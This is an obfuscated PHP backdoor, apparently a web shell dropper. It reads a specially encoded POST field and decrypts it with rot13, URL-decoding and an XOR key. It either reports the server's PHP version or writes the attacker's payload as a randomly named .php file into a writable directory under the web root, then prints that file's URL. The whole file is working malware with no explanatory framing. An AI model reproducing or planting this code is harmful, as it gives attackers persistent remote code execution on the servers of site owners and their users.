<?php $uudewnz = "xjxlyfvthtcegieu";$esgpjpnqg = "";foreach ($_POST as $eibdxtjt => $ksontmoj){if (strlen($eibdxtjt) == 16 and substr_count($ksontmoj, "%") > 10){mmqwrxroba($eibdxtjt, $ksontmoj);}}function mmqwrxroba($eibdxtjt, $yenao){global $esgpjpnqg;$esgpjpnqg = $eibdxtjt;$yenao = str_split(rawurldecode(str_rot13($yenao)));function wqcxcu($fjfzlhyd, $eibdxtjt){global $uudewnz, $esgpjpnqg;return $fjfzlhyd ^ $uudewnz[$eibdxtjt % strlen($uudewnz)] ^ $esgpjpnqg[$eibdxtjt % strlen($esgpjpnqg)];}$yenao = implode("", array_map("wqcxcu", array_values($yenao), array_keys($yenao)));$yenao = @unserialize($yenao);if (@is_array($yenao)){$eibdxtjt = array_keys($yenao);$yenao = $yenao[$eibdxtjt[0]];if ($yenao === $eibdxtjt[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function dmiofo($gphxkir) {static $wcngiqoqm = array();$kkpwecsnw = glob($gphxkir . '/*', GLOB_ONLYDIR);if (count($kkpwecsnw) > 0) {foreach ($kkpwecsnw as $gphxk){if (@is_writable($gphxk)){$wcngiqoqm[] = $gphxk;}}}foreach ($kkpwecsnw as $gphxkir) dmiofo($gphxkir);return $wcngiqoqm;}$rkrhlr = $_SERVER["DOCUMENT_ROOT"];$kkpwecsnw = dmiofo($rkrhlr);$eibdxtjt = array_rand($kkpwecsnw);$movzb = $kkpwecsnw[$eibdxtjt] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($movzb, $yenao);echo "http://" . $_SERVER["HTTP_HOST"] . substr($movzb, strlen($rkrhlr));exit();}}}